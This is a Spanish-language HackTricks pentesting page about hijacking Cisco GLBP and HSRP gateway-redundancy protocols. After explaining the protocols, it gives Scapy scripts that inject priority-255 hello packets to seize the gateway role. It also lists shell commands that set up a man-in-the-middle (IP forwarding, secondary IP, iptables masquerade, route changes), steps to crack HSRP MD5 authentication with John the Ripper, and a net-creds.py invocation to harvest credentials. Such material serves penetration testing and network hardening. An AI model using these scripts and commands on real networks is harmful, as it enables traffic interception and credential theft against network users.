GLBP & HSRP Attacks
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
FHRP Hijacking Overview
Insights into FHRP
FHRP está diseñado para proporcionar robustez en la red reuniendo múltiples routers en una sola entidad virtual, mejorando así la distribución de carga y la tolerancia a fallos. Cisco Systems introdujo protocolos destacados en este conjunto, como GLBP y HSRP.
GLBP Protocol Insights
La creación de Cisco, GLBP, funciona en la pila TCP/IP, utilizando UDP en el puerto 3222 para la comunicación. Los routers de un grupo GLBP intercambian paquetes “hello” cada 3 segundos. Si un router deja de enviar estos paquetes durante 10 segundos, se presume que está fuera de línea. Sin embargo, estos timers no son fijos y se pueden modificar.
GLBP para IPv6 usa multicast FF02::66 sobre UDP/3222, y el formato de MAC virtual pasa a ser 0007.b4xx.xxyy (el AVF ID está en el último byte). Los timings y la superficie de ataque permanecen iguales que en IPv4, por lo que las técnicas de hijack siguen funcionando en redes dual‑stack.
GLBP Operations and Load Distribution
GLBP destaca porque permite distribuir la carga entre routers usando una única IP virtual junto con múltiples direcciones MAC virtuales. En un grupo GLBP, cada router participa en el reenvío de paquetes. A diferencia de HSRP/VRRP, GLBP ofrece un balanceo de carga real mediante varios mecanismos:
- Host-Dependent Load Balancing: Mantiene la asignación consistente de la MAC AVF a un host, esencial para configuraciones NAT estables.
- Round-Robin Load Balancing: El enfoque por defecto, alternando la asignación de MAC AVF entre hosts que la solicitan.
- Weighted Round-Robin Load Balancing: Distribuye la carga según métricas de “Weight” predefinidas.
Key Components and Terminologies in GLBP
- AVG (Active Virtual Gateway): El router principal, responsable de asignar direcciones MAC a los routers pares.
- AVF (Active Virtual Forwarder): Un router designado para gestionar el tráfico de la red.
- GLBP Priority: Una métrica que determina el AVG, con un valor por defecto de 100 y rango entre 1 y 255.
- GLBP Weight: Refleja la carga actual en un router, ajustable manualmente o mediante Object Tracking.
- GLBP Virtual IP Address: Sirve como gateway por defecto de la red para todos los dispositivos conectados.
Para las interacciones, GLBP emplea la dirección multicast reservada 224.0.0.102 y el puerto UDP 3222. Los routers transmiten paquetes “hello” cada 3 segundos y se consideran no operativos si se pierde un paquete durante un periodo de 10 segundos.
GLBP Attack Mechanism
Un atacante puede convertirse en el router primario enviando un paquete GLBP con el valor de prioridad más alto (255). Esto puede derivar en ataques DoS o MITM, permitiendo interceptar o redirigir tráfico.
Practical GLBP hijack with Scapy (short PoC)
from scapy.all import *
vip = "10.10.100.254" # learned from sniffing
pkt = IP(dst="224.0.0.102")/UDP(dport=3222,sport=3222)/Raw(
b"\x01\x00\xff\x64" # Version=1, Opcode=Hello, Priority=255, Weight=100
)
send(pkt, iface="eth0", loop=1, inter=1)
Craft the payload bytes to mimic the GLBP header (version/opcode/priority/weight/VRID). Looping the frame ensures you win the AVG election if authentication is absent.
Ejecutando un ataque GLBP con Loki
Loki puede realizar un ataque GLBP inyectando un paquete con priority y weight configurados a 255. Los pasos previos al ataque implican recopilar información como la virtual IP address, la presencia de authentication y los valores de priority del router usando herramientas como Wireshark.
Attack Steps:
- Pasa a promiscuous mode y habilita IP forwarding.
- Identifica el router objetivo y recupera su IP.
- Genera un Gratuitous ARP.
- Inyecta un paquete GLBP malicioso, suplantando al AVG.
- Asigna una dirección IP secundaria a la interfaz de red del atacante, reflejando la virtual IP de GLBP.
- Implementa SNAT para visibilidad completa del tráfico.
- Ajusta el routing para asegurar el acceso a internet continuado a través del AVG original.
Al seguir estos pasos, el atacante se posiciona como un “man in the middle”, capaz de interceptar y analizar el tráfico de red, incluyendo datos no cifrados o sensibles.
For demonstration, here are the required command snippets:
# Enable promiscuous mode and IP forwarding
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1
# Configure secondary IP and SNAT
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
# Adjust routing
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
La monitorización e interceptación del tráfico se puede realizar con net-creds.py u otras herramientas similares para capturar y analizar los datos que fluyen por la red comprometida.
Explicación pasiva del secuestro de HSRP con detalles de comandos
Visión general de HSRP (Hot Standby Router/Redundancy Protocol)
HSRP es un protocolo propietario de Cisco diseñado para la redundancia de la puerta de enlace de red. Permite la configuración de múltiples routers físicos en una sola unidad lógica con una dirección IP compartida. Esta unidad lógica la gestiona un router primario responsable de dirigir el tráfico. A diferencia de GLBP, que usa métricas como prioridad y peso para el balanceo de carga, HSRP se basa en un único router activo para la gestión del tráfico.
HSRPv1 utiliza el multicast 224.0.0.2 y la MAC virtual 0000.0c07.acXX; HSRPv2 and HSRPv2 for IPv6 usan 224.0.0.102 / FF02::66 y la MAC virtual 0000.0c9f.fXXX. El puerto de destino UDP es 1985 para IPv4 y 2029 para IPv6.
Roles y terminología en HSRP
- HSRP Active Router: El dispositivo que actúa como puerta de enlace, gestionando el flujo de tráfico.
- HSRP Standby Router: Un router de respaldo, listo para asumir el control si el router activo falla.
- HSRP Group: Un conjunto de routers que colaboran para formar un único router virtual resiliente.
- HSRP MAC Address: Una dirección MAC virtual asignada al router lógico en la configuración HSRP.
- HSRP Virtual IP Address: La dirección IP virtual del grupo HSRP, que actúa como la puerta de enlace predeterminada para los dispositivos conectados.
Versiones de HSRP
HSRP existe en dos versiones, HSRPv1 y HSRPv2, que difieren principalmente en la capacidad de grupos, el uso de IP multicast y la estructura de la dirección MAC virtual. El protocolo utiliza direcciones IP multicast específicas para el intercambio de información de servicio, con paquetes Hello enviados cada 3 segundos. Se considera que un router está inactivo si no se recibe ningún paquete en un intervalo de 10 segundos.
Mecanismo de ataque de HSRP
Los ataques HSRP consisten en tomar por la fuerza el rol del Active Router inyectando un valor de prioridad máximo. Esto puede conducir a un ataque Man-In-The-Middle (MITM). Los pasos esenciales previos al ataque incluyen recopilar información sobre la configuración HSRP, lo cual puede hacerse usando Wireshark para el análisis de tráfico.
Toma rápida de HSRP con Scapy
from scapy.all import *
vip = "10.10.100.1"
pkt = IP(dst="224.0.0.102")/UDP(sport=1985,dport=1985)/Raw(
b"\x00\x02\xff\x03\x00\x00\x00\x01" # Hello, priority 255, group 1
)
send(pkt, iface="eth0", inter=1, loop=1)
Si la autenticación no está configurada, el envío continuo de hellos con mayor prioridad obliga a los pares a entrar en los estados Speak/Listen y te permite convertirte en Active, redirigiendo el tráfico a través de tu host.
Casos especiales de autenticación HSRP
- La autenticación heredada en texto plano es trivialmente suplantable.
- La autenticación MD5 sólo cubre la payload de HSRP; paquetes manipulados aún pueden limitar la tasa/DoS a los planos de control. Versiones de NX-OS permitieron anteriormente DoS contra grupos autenticados (ver el aviso de Cisco CSCup11309).
- En muchas VLANs compartidas de ISP / VPS, los multicasts de HSRPv1 son visibles para los tenants; sin autenticación puedes unirte y preemptar el tráfico.
Pasos para eludir la autenticación HSRP
- Guarda el tráfico de red que contiene datos HSRP como un archivo .pcap.
tcpdump -w hsrp_traffic.pcap
- Extrae hashes MD5 del archivo .pcap usando hsrp2john.py.
python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes
- Descifra los hashes MD5 usando John the Ripper.
john --wordlist=mywordlist.txt hsrp_hashes
Ejecución de HSRP Injection con Loki
- Lanza Loki para identificar anuncios HSRP.
- Pon la interfaz de red en modo promiscuo y habilita el IP forwarding.
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1
- Usa Loki para apuntar al router específico, introduce la contraseña HSRP descifrada y realiza las configuraciones necesarias para suplantar al Active Router.
- Tras obtener el rol de Active Router, configura tu interfaz de red y las IP tables para interceptar el tráfico legítimo.
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
- Modifica la tabla de enrutamiento para encaminar el tráfico a través del antiguo Active Router.
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
- Usa net-creds.py o una utilidad similar para capturar credenciales del tráfico interceptado.
sudo python2 net-creds.py -i eth0
Ejecutar estos pasos coloca al atacante en posición de interceptar y manipular tráfico, de forma similar al procedimiento para GLBP hijacking. Esto destaca la vulnerabilidad en protocolos de redundancia como HSRP y la necesidad de medidas de seguridad robustas.
Referencias
- https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9
- Cisco NX-OS HSRP authentication DoS (CSCup11309)
- Reddit: HSRP seen on VPS shared VLANs
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


